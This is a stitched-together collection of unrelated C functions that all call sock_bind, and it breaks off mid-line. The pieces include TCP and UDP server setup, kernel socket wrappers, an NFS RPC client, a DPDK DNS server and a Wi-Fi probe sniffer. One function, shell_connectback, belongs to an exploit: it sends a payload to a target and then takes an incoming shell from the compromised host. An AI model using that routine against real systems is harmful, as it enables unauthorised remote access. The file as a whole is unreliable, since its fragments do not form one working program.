int main(void) { int sock1 = sock_bind("tcp://127.0.0.1:9991"); int sock2 = sock_bind("tcp://127.0.0.1:9992"); int sockfd1 = get_rec_sockfd(sock1); int sockfd2 = get_rec_sockfd(sock2); sock_info sockinfo[] = { {sock1, sockfd1}, {sock2, sockfd2} }; printf("sock1: %d - sockfd1: %d\n", sock1, sockfd1); printf("sock2: %d - sockfd2: %d\n", sock2, sockfd2); fd_set readfds; int maxfds = sockfd2; int select_rc; char *buf = NULL; int i, j; int go = 1; for(;;) { go = 1; FD_ZERO(&readfds); FD_SET(sockfd1, &readfds); FD_SET(sockfd2, &readfds); printf("inside loop\n"); select_rc = select(maxfds+1, &readfds, NULL, NULL, NULL); printf("select was returned with: %d\n", select_rc); for(i = 0; i <= maxfds && go; i++) { if(FD_ISSET(i, &readfds)) { printf("is set: %d\n", i); for(j = 0; j < 2 && go; j++) { if(sockinfo[j].sock_fd == i) { nn_recv(sockinfo[j].sock_sp, &buf, NN_MSG, 0); printf("recevied msg: %s\n", buf); go = 0; } } } } printf("for-done!\n"); } return 0; }
void *mon_run() { static struct timespec starttime, endtime; char buffer[BUFSIZE]; struct sockaddr saddr; if (sock_open()) return 0; if (sock_bind(monifname)) return 0; state = 1; while(state == 1) { socklen_t saddr_size = sizeof saddr; int size = recvfrom(sock, buffer, BUFSIZE, 0, &saddr, &saddr_size); struct wframe * frame = buffertowframe(buffer, size); if (frame == NULL) continue; if(frame->stype == IEEE80211_STYPE_PROBE_REQ) clock_gettime(CLOCK_MONOTONIC, &starttime); if(frame->stype == IEEE80211_STYPE_PROBE_RESP) { clock_gettime(CLOCK_MONOTONIC, &endtime); struct timespec ts = tsdiff(starttime, endtime); printf("Probe Reponse Time: %ld usec\n", ts.tv_sec * 1000 * 1000 + ts.tv_nsec / 1000); state = 2; } free(frame); } state = 2; }
/* * sock_tcp_server() * Initialize a tcp server socket. On success, a valid socket number will return. */ int sock_tcp_server(const char *hostname, int port) { int oldfl = 0; int sock; /* create a socket */ if ((sock = sock_create("tcp")) < 0) net_error("initialize server socket failed\n"); /* set it to non-blocking operation */ oldfl = fcntl(sock, F_GETFL, 0); if (!(oldfl & O_NONBLOCK)) fcntl(sock, F_SETFL, oldfl | O_NONBLOCK); /* setup for a fast restart to avoid bind addr in use errors */ sock_setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, 1); /* bind it to the appropriate port */ if ((sock_bind(sock, hostname, port)) == -1) return -1; /* go ahead and listen to the socket */ if (listen(sock, TCP_BACKLOG) != 0) return -1; return sock; }
int sock_server_create(struct sockaddr *addr) { int fd; int ret; fd = sock_create(); if(fd < 0) { return -1; } ret = sock_set_reuseaddr(fd); if(ret < 0) { goto err_server; } ret = sock_bind(fd, addr); if(ret < 0) { goto err_server; } ret = sock_listen(fd); if(ret < 0) { goto err_server; } return fd; err_server: sock_close(fd); return -1; }
static int libcfs_sock_create (cfs_socket_t **sockp, int *fatal, __u32 local_ip, int local_port) { struct sockaddr_in locaddr; cfs_socket_t *sock; int option; int optlen; int rc; /* All errors are fatal except bind failure if the port is in use */ *fatal = 1; sock = _MALLOC(sizeof(cfs_socket_t), M_TEMP, M_WAITOK|M_ZERO); if (!sock) { CERROR("Can't allocate cfs_socket.\n"); return -ENOMEM; } *sockp = sock; sock->s_magic = CFS_SOCK_MAGIC; rc = -sock_socket(PF_INET, SOCK_STREAM, 0, libcfs_sock_upcall, sock, &C2B_SOCK(sock)); if (rc != 0) goto out; option = 1; optlen = sizeof(option); rc = -sock_setsockopt(C2B_SOCK(sock), SOL_SOCKET, SO_REUSEADDR, &option, optlen); if (rc != 0) goto out; /* can't specify a local port without a local IP */ LASSERT (local_ip == 0 || local_port != 0); if (local_ip != 0 || local_port != 0) { bzero (&locaddr, sizeof (locaddr)); locaddr.sin_len = sizeof(struct sockaddr_in); locaddr.sin_family = AF_INET; locaddr.sin_port = htons (local_port); locaddr.sin_addr.s_addr = (local_ip != 0) ? htonl(local_ip) : INADDR_ANY; rc = -sock_bind(C2B_SOCK(sock), (struct sockaddr *)&locaddr); if (rc == -EADDRINUSE) { CDEBUG(D_NET, "Port %d already in use\n", local_port); *fatal = 0; goto out; } if (rc != 0) { CERROR("Error trying to bind to port %d: %d\n", local_port, rc); goto out; } } return 0; out: if (C2B_SOCK(sock) != NULL) sock_close(C2B_SOCK(sock)); FREE(sock, M_TEMP); return rc; }
/* Init msg server */ int msg_server_init(const char *binded_ip, uint16_t port) { int sock = tcp_sock_init(); sock_bind(sock, binded_ip, port); sock_listen(sock); return sock; }
unsigned int ZION_CALLBACK TcpThreadFunc(void * point) { char *p = (char*)point; SOCK_HANDLE handle; SOCK_ADDR sock_addr; char read_buf[1024]; sock_init(); if(sock_str2addr(p, &sock_addr)==NULL) { printf("tcp sock_str2addr function error\n"); goto FINISH_STATE; } handle = sock_bind(&sock_addr, 0); if(handle == SOCK_INVALID_HANDLE) { printf("tcp bind function error\n"); goto ERROR_STATE; } printf("tcp %s wait for client connect....\n", p); handle = sock_accept(handle, NULL); if(handle == SOCK_INVALID_HANDLE) { printf("tcp socket_accept function error\n"); goto ERROR_STATE; } printf("tcp client connect access\n"); while(1) { memset(read_buf, 0, sizeof(read_buf)); //sock_readbuf(handle, (void*)read_buf, sizeof(read_buf)); sock_read(handle, (void*)read_buf, sizeof(read_buf)); printf("tcp client send '%s'\n", read_buf); sock_write(handle, (void*)read_buf, (int)strlen(read_buf)); } ERROR_STATE: sock_unbind(handle); FINISH_STATE: sock_final(); return 0; }
errno_t xi_sock_bind(xi_socket_t so, struct sockaddr *to) { #ifdef __KPI_SOCKET__ return sock_bind(so, to); #else thread_funnel_set(network_flock, TRUE); errno_t error; error = sobind(so, to); (void)thread_funnel_set(network_flock, FALSE); return error; #endif }
/* Bind a socket to an address. */ error_t S_socket_bind (struct sock_user *user, struct addr *addr) { if (! addr) return EADDRNOTAVAIL; /* Deallocate ADDR's send right, which we get as a side effect of the rpc. */ mach_port_deallocate (mach_task_self (), ((struct port_info *)addr)->port_right); if (! user) return EOPNOTSUPP; return sock_bind (user->sock, addr); }
static void shell_connectback (long host, int port, long dest, char *packet, int packet_len) { int sock; int new_sock; sock = sock_tcp_create (); if (sock < 0) { perror ("[-] Error creating socket"); return; } /* we bind before sending the payload to avoid not being * listening when the connectback shellcode tries to connect */ if (sock_bind (sock, host, port) < 0) { perror ("[-] Unable to bind/listen"); return; } if (sock_send_payload (dest, port, packet, packet_len) < 0) { perror ("[-] Unable to send payload"); return; } printf ("[-] Waiting 10s for incoming connection (connectback)...\n"); fflush (stdout); new_sock = sock_accept (sock); if (new_sock < 0) { perror ("[-] Unable to accept connection"); return; } sock_disconnect (sock); shell (new_sock); sock_disconnect (new_sock); }
int main(int argc, char **argv) { int timeout = argc > 2 ? atoi(argv[2]) : 0; char *const env_port = getenv("CONCUR_PORT"); int port = env_port ? atoi(env_port) : CONCUR_PORT; int skt = sock_bind("", port); if (skt < 0) { perror("concurs"); exit(1); } setvbuf(stdout, NULL, _IOLBF, 0); if (argc == 1) record(skt); else play(skt, argv[1], timeout); return 0; }
/*-------------------------------------------------------------------------*\ * Tries to bind socket to (address, port) \*-------------------------------------------------------------------------*/ const char *inet_trybind(p_sock ps, const char *address, unsigned short port) { struct sockaddr_in local; int err; memset(&local, 0, sizeof(local)); /* address is either wildcard or a valid ip address */ local.sin_addr.s_addr = htonl(INADDR_ANY); local.sin_port = htons(port); local.sin_family = AF_INET; if (strcmp(address, "*") && !inet_aton(address, &local.sin_addr)) { struct hostent *hp = NULL; struct in_addr **addr; err = sock_gethostbyname(address, &hp); if (err != IO_DONE) return sock_hoststrerror(err); addr = (struct in_addr **) hp->h_addr_list; memcpy(&local.sin_addr, *addr, sizeof(struct in_addr)); } err = sock_bind(ps, (SA *) &local, sizeof(local)); if (err != IO_DONE) sock_destroy(ps); return sock_strerror(err); }
void p2p_start(p2p_ctx *ctx) { /* check to see that we can create listen socket */ if(ctx->s==NULL) { perror("Cannot create socket"); exit(1); } /* Now bind to the socket */ sock_bind(ctx->s); if(ctx->s==NULL) { perror("Cannot bind to the socket"); exit(1); } // peer_t *peer=NULL; ctx->status=1; pthread_create(&ctx->tid,NULL,p2p_main_loop,ctx); }
int main(int argc, char *argv[]) { char buffer[BUFSIZE]; struct sockaddr saddr; int opt; struct timespec starttime, endtime; clock_gettime(CLOCK_MONOTONIC, &starttime); unsigned char bcast[] = "\xFF\xFF\xFF\xFF\xFF\xFF"; sta_add(&sta_head, ccolor++, bcast); signal(SIGINT, intHandler); while ((opt = getopt(argc, argv, PARAMS)) != -1) { switch (opt) { case 'h': fprintf(stdout, HELP, argv[0]); exit(EXIT_SUCCESS); case 'b': opt_nobeacon = true; break; case 'c': opt_color = true; break; case 'd': opt_diffstamp = true; break; case 'm': opt_nomgmt = true; break; case 's': opt_simpleaddr = true; break; case 't': opt_timestamp = true; break; default: fprintf(stderr, USAGE, argv[0]); exit(EXIT_FAILURE); } } if (optind >= argc) { fprintf(stderr, USAGE, argv[0]); exit(EXIT_FAILURE); } char * iface = argv[optind]; int macs = argc - optind - 1; if(macs > 0) { maclist = (unsigned char*)malloc(6*macs); unsigned char * pos = maclist; for(int i = optind + 1; i < argc; i++) { unsigned int iMac[6]; unsigned char mac[6]; sscanf(argv[i], "%x:%x:%x:%x:%x:%x", &iMac[0], &iMac[1], &iMac[2], &iMac[3], &iMac[4], &iMac[5]); for(int j=0;j<6;j++) mac[j] = (unsigned char)iMac[j]; memcpy(pos, mac, 6); pos += 6; } } maclist_count = macs; if (sock_open()) return 0; if (sock_bind(argv[optind])) return 0; while(keepRunning) { socklen_t saddr_size = sizeof saddr; int size = recvfrom(sock, buffer, BUFSIZE, 0, &saddr, &saddr_size); analyze(buffer, size); } clock_gettime(CLOCK_MONOTONIC, &endtime); printf(CNORMAL); sock_close(); printf("Station List: \n"); print_stalist(sta_head->next); struct timespec ts = tsdiff(starttime, endtime); printf("Total Running Time: %ld.%lds\n", ts.tv_sec, ts.tv_nsec / 1000); return 0; }
int sock_addr_bind (int type, char *sockpath, int force_bind) { struct sockaddr_gen a = addr_unix (type, sockpath); return sock_bind (a, force_bind); }
/* * Do a remote procedure call (RPC) and wait for its reply. * If from_p is non-null, then we are doing broadcast, and * the address from whence the response came is saved there. */ int krpc_call( struct sockaddr_in *sa, u_int sotype, u_int prog, u_int vers, u_int func, mbuf_t *data, /* input/output */ struct sockaddr_in *from_p) /* output */ { socket_t so; struct sockaddr_in *sin; mbuf_t m, nam, mhead; struct rpc_call *call; struct rpc_reply *reply; int error, timo, secs; size_t len; static u_int32_t xid = ~0xFF; u_int16_t tport; size_t maxpacket = 1<<16; /* * Validate address family. * Sorry, this is INET specific... */ if (sa->sin_family != AF_INET) return (EAFNOSUPPORT); /* Free at end if not null. */ nam = mhead = NULL; /* * Create socket and set its recieve timeout. */ if ((error = sock_socket(AF_INET, sotype, 0, 0, 0, &so))) goto out1; { struct timeval tv; tv.tv_sec = 1; tv.tv_usec = 0; if ((error = sock_setsockopt(so, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)))) goto out; } /* * Enable broadcast if necessary. */ if (from_p && (sotype == SOCK_DGRAM)) { int on = 1; if ((error = sock_setsockopt(so, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)))) goto out; } /* * Bind the local endpoint to a reserved port, * because some NFS servers refuse requests from * non-reserved (non-privileged) ports. */ if ((error = mbuf_get(MBUF_WAITOK, MBUF_TYPE_SONAME, &m))) goto out; sin = mbuf_data(m); bzero(sin, sizeof(*sin)); mbuf_setlen(m, sizeof(*sin)); sin->sin_len = sizeof(*sin); sin->sin_family = AF_INET; sin->sin_addr.s_addr = INADDR_ANY; tport = IPPORT_RESERVED; do { tport--; sin->sin_port = htons(tport); error = sock_bind(so, (struct sockaddr*)sin); } while (error == EADDRINUSE && tport > IPPORT_RESERVED / 2); mbuf_freem(m); m = NULL; if (error) { printf("bind failed\n"); goto out; } /* * Setup socket address for the server. */ if ((error = mbuf_get(MBUF_WAITOK, MBUF_TYPE_SONAME, &nam))) goto out; sin = mbuf_data(nam); mbuf_setlen(nam, sa->sin_len); bcopy((caddr_t)sa, (caddr_t)sin, sa->sin_len); if (sotype == SOCK_STREAM) { struct timeval tv; tv.tv_sec = 60; tv.tv_usec = 0; error = sock_connect(so, mbuf_data(nam), MSG_DONTWAIT); if (error && (error != EINPROGRESS)) goto out; error = sock_connectwait(so, &tv); if (error) { if (error == EINPROGRESS) error = ETIMEDOUT; printf("krpc_call: error waiting for TCP socket connect: %d\n", error); goto out; } } /* * Prepend RPC message header. */ m = *data; *data = NULL; #if DIAGNOSTIC if ((mbuf_flags(m) & MBUF_PKTHDR) == 0) panic("krpc_call: send data w/o pkthdr"); if (mbuf_pkthdr_len(m) < mbuf_len(m)) panic("krpc_call: pkthdr.len not set"); #endif len = sizeof(*call); if (sotype == SOCK_STREAM) len += 4; /* account for RPC record marker */ mhead = m; if ((error = mbuf_prepend(&mhead, len, MBUF_WAITOK))) goto out; if ((error = mbuf_pkthdr_setrcvif(mhead, NULL))) goto out; /* * Fill in the RPC header */ if (sotype == SOCK_STREAM) { /* first, fill in RPC record marker */ u_int32_t *recmark = mbuf_data(mhead); *recmark = htonl(0x80000000 | (mbuf_pkthdr_len(mhead) - 4)); call = (struct rpc_call *)(recmark + 1); } else { call = mbuf_data(mhead); } bzero((caddr_t)call, sizeof(*call)); xid++; call->rp_xid = htonl(xid); /* call->rp_direction = 0; */ call->rp_rpcvers = htonl(2); call->rp_prog = htonl(prog); call->rp_vers = htonl(vers); call->rp_proc = htonl(func); /* call->rp_auth = 0; */ /* call->rp_verf = 0; */ /* * Send it, repeatedly, until a reply is received, * but delay each re-send by an increasing amount. * If the delay hits the maximum, start complaining. */ timo = 0; for (;;) { struct msghdr msg; /* Send RPC request (or re-send). */ if ((error = mbuf_copym(mhead, 0, MBUF_COPYALL, MBUF_WAITOK, &m))) goto out; bzero(&msg, sizeof(msg)); if (sotype == SOCK_STREAM) { msg.msg_name = NULL; msg.msg_namelen = 0; } else { msg.msg_name = mbuf_data(nam); msg.msg_namelen = mbuf_len(nam); } error = sock_sendmbuf(so, &msg, m, 0, 0); if (error) { printf("krpc_call: sosend: %d\n", error); goto out; } m = NULL; /* Determine new timeout. */ if (timo < MAX_RESEND_DELAY) timo++; else printf("RPC timeout for server " IP_FORMAT "\n", IP_LIST(&(sin->sin_addr.s_addr))); /* * Wait for up to timo seconds for a reply. * The socket receive timeout was set to 1 second. */ secs = timo; while (secs > 0) { size_t readlen; if (m) { mbuf_freem(m); m = NULL; } if (sotype == SOCK_STREAM) { int maxretries = 60; struct iovec aio; aio.iov_base = &len; aio.iov_len = sizeof(u_int32_t); bzero(&msg, sizeof(msg)); msg.msg_iov = &aio; msg.msg_iovlen = 1; do { error = sock_receive(so, &msg, MSG_WAITALL, &readlen); if ((error == EWOULDBLOCK) && (--maxretries <= 0)) error = ETIMEDOUT; } while (error == EWOULDBLOCK); if (!error && readlen < aio.iov_len) { /* only log a message if we got a partial word */ if (readlen != 0) printf("short receive (%ld/%ld) from server " IP_FORMAT "\n", readlen, sizeof(u_int32_t), IP_LIST(&(sin->sin_addr.s_addr))); error = EPIPE; } if (error) goto out; len = ntohl(len) & ~0x80000000; /* * This is SERIOUS! We are out of sync with the sender * and forcing a disconnect/reconnect is all I can do. */ if (len > maxpacket) { printf("impossible packet length (%ld) from server " IP_FORMAT "\n", len, IP_LIST(&(sin->sin_addr.s_addr))); error = EFBIG; goto out; } do { readlen = len; error = sock_receivembuf(so, NULL, &m, MSG_WAITALL, &readlen); } while (error == EWOULDBLOCK); if (!error && (len > readlen)) { printf("short receive (%ld/%ld) from server " IP_FORMAT "\n", readlen, len, IP_LIST(&(sin->sin_addr.s_addr))); error = EPIPE; } } else { len = maxpacket; readlen = len; bzero(&msg, sizeof(msg)); msg.msg_name = from_p; msg.msg_namelen = (from_p == NULL) ? 0 : sizeof(*from_p); error = sock_receivembuf(so, &msg, &m, 0, &readlen); } if (error == EWOULDBLOCK) { secs--; continue; } if (error) goto out; len = readlen; /* Does the reply contain at least a header? */ if (len < MIN_REPLY_HDR) continue; if (mbuf_len(m) < MIN_REPLY_HDR) continue; reply = mbuf_data(m); /* Is it the right reply? */ if (reply->rp_direction != htonl(RPC_REPLY)) continue; if (reply->rp_xid != htonl(xid)) continue; /* Was RPC accepted? (authorization OK) */ if (reply->rp_astatus != 0) { error = ntohl(reply->rp_u.rpu_errno); printf("rpc denied, error=%d\n", error); /* convert rpc error to errno */ switch (error) { case RPC_MISMATCH: error = ERPCMISMATCH; break; case RPC_AUTHERR: error = EAUTH; break; } goto out; } if (mbuf_len(m) < REPLY_SIZE) { error = RPC_SYSTEM_ERR; } else { error = ntohl(reply->rp_u.rpu_ok.rp_rstatus); } /* Did the call succeed? */ if (error != 0) { printf("rpc status=%d\n", error); /* convert rpc error to errno */ switch (error) { case RPC_PROGUNAVAIL: error = EPROGUNAVAIL; break; case RPC_PROGMISMATCH: error = EPROGMISMATCH; break; case RPC_PROCUNAVAIL: error = EPROCUNAVAIL; break; case RPC_GARBAGE: error = EINVAL; break; case RPC_SYSTEM_ERR: error = EIO; break; } goto out; } goto gotreply; /* break two levels */ } /* while secs */ } /* forever send/receive */ error = ETIMEDOUT; goto out; gotreply: /* * Pull as much as we can into first mbuf, to make * result buffer contiguous. Note that if the entire * result won't fit into one mbuf, you're out of luck. * XXX - Should not rely on making the entire reply * contiguous (fix callers instead). -gwr */ #if DIAGNOSTIC if ((mbuf_flags(m) & MBUF_PKTHDR) == 0) panic("krpc_call: received pkt w/o header?"); #endif len = mbuf_pkthdr_len(m); if (sotype == SOCK_STREAM) len -= 4; /* the RPC record marker was read separately */ if (mbuf_len(m) < len) { if ((error = mbuf_pullup(&m, len))) goto out; reply = mbuf_data(m); } /* * Strip RPC header */ len = sizeof(*reply); if (reply->rp_u.rpu_ok.rp_auth.rp_atype != 0) { len += ntohl(reply->rp_u.rpu_ok.rp_auth.rp_alen); len = (len + 3) & ~3; /* XXX? */ } mbuf_adj(m, len); /* result */ *data = m; out: sock_close(so); out1: if (nam) mbuf_freem(nam); if (mhead) mbuf_freem(mhead); return error; }
/* * System call vectors. Since I (RIB) want to rewrite sockets as streams, * we have this level of indirection. Not a lot of overhead, since more of * the work is done via read/write/select directly. */ asmlinkage int sys_socketcall(int call, unsigned long *args) { int er; switch(call) { case SYS_SOCKET: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_socket(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2))); case SYS_BIND: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_bind(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), get_fs_long(args+2))); case SYS_CONNECT: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_connect(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), get_fs_long(args+2))); case SYS_LISTEN: er=verify_area(VERIFY_READ, args, 2 * sizeof(long)); if(er) return er; return(sock_listen(get_fs_long(args+0), get_fs_long(args+1))); case SYS_ACCEPT: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_accept(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_GETSOCKNAME: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_getsockname(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_GETPEERNAME: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_getpeername(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_SOCKETPAIR: er=verify_area(VERIFY_READ, args, 4 * sizeof(long)); if(er) return er; return(sock_socketpair(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (unsigned long *)get_fs_long(args+3))); case SYS_SEND: er=verify_area(VERIFY_READ, args, 4 * sizeof(unsigned long)); if(er) return er; return(sock_send(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3))); case SYS_SENDTO: er=verify_area(VERIFY_READ, args, 6 * sizeof(unsigned long)); if(er) return er; return(sock_sendto(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3), (struct sockaddr *)get_fs_long(args+4), get_fs_long(args+5))); case SYS_RECV: er=verify_area(VERIFY_READ, args, 4 * sizeof(unsigned long)); if(er) return er; return(sock_recv(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3))); case SYS_RECVFROM: er=verify_area(VERIFY_READ, args, 6 * sizeof(unsigned long)); if(er) return er; return(sock_recvfrom(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3), (struct sockaddr *)get_fs_long(args+4), (int *)get_fs_long(args+5))); case SYS_SHUTDOWN: er=verify_area(VERIFY_READ, args, 2* sizeof(unsigned long)); if(er) return er; return(sock_shutdown(get_fs_long(args+0), get_fs_long(args+1))); case SYS_SETSOCKOPT: er=verify_area(VERIFY_READ, args, 5*sizeof(unsigned long)); if(er) return er; return(sock_setsockopt(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (char *)get_fs_long(args+3), get_fs_long(args+4))); case SYS_GETSOCKOPT: er=verify_area(VERIFY_READ, args, 5*sizeof(unsigned long)); if(er) return er; return(sock_getsockopt(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (char *)get_fs_long(args+3), (int *)get_fs_long(args+4))); default: return(-EINVAL); } }
int system_cloud_connect(int protocol, const ServerAddress* address, sockaddr* saddrCache) { struct addrinfo* info = nullptr; CloudServerAddressType type = CLOUD_SERVER_ADDRESS_TYPE_NONE; bool clean = true; if (saddrCache && /* protocol == IPPROTO_UDP && */ saddrCache->sa_family != AF_UNSPEC) { char tmphost[INET6_ADDRSTRLEN] = {}; char tmpserv[8] = {}; if (!netdb_getnameinfo(saddrCache, saddrCache->sa_len, tmphost, sizeof(tmphost), tmpserv, sizeof(tmpserv), AI_NUMERICHOST | AI_NUMERICSERV)) { /* There is a cached address, use it, but still pass it to getaddrinfo */ struct addrinfo hints = {}; hints.ai_flags = AI_NUMERICHOST | AI_NUMERICSERV | AI_ADDRCONFIG; hints.ai_family = saddrCache->sa_family; hints.ai_protocol = protocol; /* FIXME: */ hints.ai_socktype = hints.ai_protocol == IPPROTO_UDP ? SOCK_DGRAM : SOCK_STREAM; if (!netdb_getaddrinfo(tmphost, tmpserv, &hints, &info)) { type = CLOUD_SERVER_ADDRESS_TYPE_CACHED; } } } if (type == CLOUD_SERVER_ADDRESS_TYPE_NONE) { /* Check if we have another address to try from the cached addrinfo list */ if (s_state.addr && s_state.next) { info = s_state.next; type = CLOUD_SERVER_ADDRESS_TYPE_CACHED_ADDRINFO; } } if ((type == CLOUD_SERVER_ADDRESS_TYPE_NONE) && address) { /* Use passed ServerAddress */ switch (address->addr_type) { case IP_ADDRESS: { struct addrinfo hints = {}; hints.ai_flags = AI_NUMERICHOST | AI_NUMERICSERV | AI_ADDRCONFIG; /* XXX: IPv4-only */ hints.ai_family = AF_INET; hints.ai_protocol = protocol; /* FIXME: */ hints.ai_socktype = hints.ai_protocol == IPPROTO_UDP ? SOCK_DGRAM : SOCK_STREAM; char tmphost[INET_ADDRSTRLEN] = {}; char tmpserv[8] = {}; struct in_addr in = {}; in.s_addr = htonl(address->ip); if (inet_inet_ntop(AF_INET, &in, tmphost, sizeof(tmphost))) { snprintf(tmpserv, sizeof(tmpserv), "%u", address->port); netdb_getaddrinfo(tmphost, tmpserv, &hints, &info); type = CLOUD_SERVER_ADDRESS_TYPE_NEW_ADDRINFO; } break; } case DOMAIN_NAME: { struct addrinfo hints = {}; hints.ai_flags = AI_NUMERICSERV | AI_ADDRCONFIG; hints.ai_protocol = protocol; /* FIXME: */ hints.ai_socktype = hints.ai_protocol == IPPROTO_UDP ? SOCK_DGRAM : SOCK_STREAM; char tmphost[sizeof(address->domain) + 32] = {}; char tmpserv[8] = {}; /* FIXME: this should probably be moved into system_cloud_internal */ system_string_interpolate(address->domain, tmphost, sizeof(tmphost), system_interpolate_cloud_server_hostname); snprintf(tmpserv, sizeof(tmpserv), "%u", address->port); LOG(TRACE, "Resolving %s#%s", tmphost, tmpserv); netdb_getaddrinfo(tmphost, tmpserv, &hints, &info); type = CLOUD_SERVER_ADDRESS_TYPE_NEW_ADDRINFO; break; } } } int r = SYSTEM_ERROR_NETWORK; if (info == nullptr) { LOG(ERROR, "Failed to determine server address"); } LOG(TRACE, "Address type: %d", type); for (struct addrinfo* a = info; a != nullptr; a = a->ai_next) { /* Iterate over all the addresses and attempt to connect */ int s = sock_socket(a->ai_family, a->ai_socktype, a->ai_protocol); if (s < 0) { LOG(ERROR, "Cloud socket failed, family=%d, type=%d, protocol=%d, errno=%d", a->ai_family, a->ai_socktype, a->ai_protocol, errno); continue; } LOG(TRACE, "Cloud socket=%d, family=%d, type=%d, protocol=%d", s, a->ai_family, a->ai_socktype, a->ai_protocol); char serverHost[INET6_ADDRSTRLEN] = {}; uint16_t serverPort = 0; switch (a->ai_family) { case AF_INET: { inet_inet_ntop(a->ai_family, &((sockaddr_in*)a->ai_addr)->sin_addr, serverHost, sizeof(serverHost)); serverPort = ntohs(((sockaddr_in*)a->ai_addr)->sin_port); break; } case AF_INET6: { inet_inet_ntop(a->ai_family, &((sockaddr_in6*)a->ai_addr)->sin6_addr, serverHost, sizeof(serverHost)); serverPort = ntohs(((sockaddr_in6*)a->ai_addr)->sin6_port); break; } } LOG(INFO, "Cloud socket=%d, connecting to %s#%u", s, serverHost, serverPort); /* We are using fixed source port only for IPv6 connections */ if (protocol == IPPROTO_UDP && a->ai_family == AF_INET6) { struct sockaddr_storage saddr = {}; saddr.s2_len = sizeof(saddr); saddr.ss_family = a->ai_family; /* NOTE: Always binding to 5684 by default */ switch (a->ai_family) { case AF_INET: { ((sockaddr_in*)&saddr)->sin_port = htons(PORT_COAPS); break; } case AF_INET6: { ((sockaddr_in6*)&saddr)->sin6_port = htons(PORT_COAPS); break; } } const int one = 1; if (sock_setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one))) { LOG(ERROR, "Cloud socket=%d, failed to set SO_REUSEADDR, errno=%d", s, errno); sock_close(s); continue; } /* Bind socket */ if (sock_bind(s, (const struct sockaddr*)&saddr, sizeof(saddr))) { LOG(ERROR, "Cloud socket=%d, failed to bind, errno=%d"); sock_close(s); continue; } } /* FIXME: timeout for TCP */ /* NOTE: we do this for UDP sockets as well in order to automagically filter * on source address and port */ r = sock_connect(s, a->ai_addr, a->ai_addrlen); if (r) { LOG(ERROR, "Cloud socket=%d, failed to connect to %s#%u, errno=%d", s, serverHost, serverPort, errno); sock_close(s); continue; } LOG(TRACE, "Cloud socket=%d, connected to %s#%u", s, serverHost, serverPort); /* If we got here, we are most likely connected, however keep track of current addrinfo list * in order to try the next address if application layer fails to establish the connection */ if (protocol == IPPROTO_UDP && (type == CLOUD_SERVER_ADDRESS_TYPE_NEW_ADDRINFO || type == CLOUD_SERVER_ADDRESS_TYPE_CACHED_ADDRINFO)) { if (s_state.addr) { /* We are already iterating over a cached addrinfo list */ s_state.next = a->ai_next; if (a->ai_next) { s_state.next = a->ai_next; clean = false; } else { info = s_state.addr; s_state.addr = s_state.next = nullptr; } } else { if (a->ai_next) { s_state.addr = info; s_state.next = a->ai_next; clean = false; } } } s_state.socket = s; if (saddrCache) { memcpy(saddrCache, a->ai_addr, a->ai_addrlen); } unsigned int keepalive = 0; system_cloud_get_inet_family_keepalive(a->ai_family, &keepalive); system_cloud_set_inet_family_keepalive(a->ai_family, keepalive, 1); break; } if (clean) { netdb_freeaddrinfo(info); } return r; }
int main(int argc, char ** argv) { int ret, socket; unsigned pid, nb_ports, lcore_id, rx_lcore_id; struct sock_parameter sk_param; struct sock *sk; struct txrx_queue *rxq; struct port_queue_conf *port_q; struct lcore_queue_conf *lcore_q; ret = rte_eal_init(argc, argv); if (ret < 0) return -1; argc -= ret; argv += ret; /*parse gw ip and mac from cmdline*/ if (argc > 1) { default_host_addr = argv[1]; if (argc == 3) default_gw_addr = argv[2]; else if (argc == 4) default_gw_mac = argv[3]; else rte_exit(EXIT_FAILURE, "invalid arguments\n"); } /*config nic*/ nb_ports = rte_eth_dev_count(); if (nb_ports == 0) rte_exit(EXIT_FAILURE, "No available NIC\n"); for (pid = 0; pid < nb_ports; pid++) { ret = net_device_init(pid); if (ret) { RTE_LOG(WARNING, LDNS, "fail to initialize port %u\n", pid); goto release_net_device; } } pkt_rx_pool = rte_pktmbuf_pool_create("ldns rx pkt pool", PKT_RX_NB, 32, 0, RTE_MBUF_DEFAULT_BUF_SIZE, rte_socket_id()); if (pkt_rx_pool == NULL) rte_exit(EXIT_FAILURE, "cannot alloc rx_mbuf_pool"); /*sock create*/ sk_param.mode = SOCK_MODE_COMPLETE; sk_param.func = dns_process; sk = create_sock(0, SOCK_PTOTO_IPPROTO_UDP, &sk_param); if (sk == NULL) rte_exit(EXIT_FAILURE, "cannot create sock\n"); if (sock_bind(sk, inet_network(default_host_addr), DNS_PORT)) rte_exit(EXIT_FAILURE, "cannot bind addr:%s port:%u", default_host_addr, DNS_PORT); /*init ethdev*/ lcore_id = 0; lcore_q = lcore_q_conf_get(lcore_id); for (pid = 0; pid < nb_ports; pid++) { port_q = port_q_conf_get(pid); ret = rte_eth_dev_configure(pid, rx_rings, tx_rings, &default_rte_eth_conf); if (ret != 0) rte_exit(EXIT_FAILURE, "port %u configure error\n", 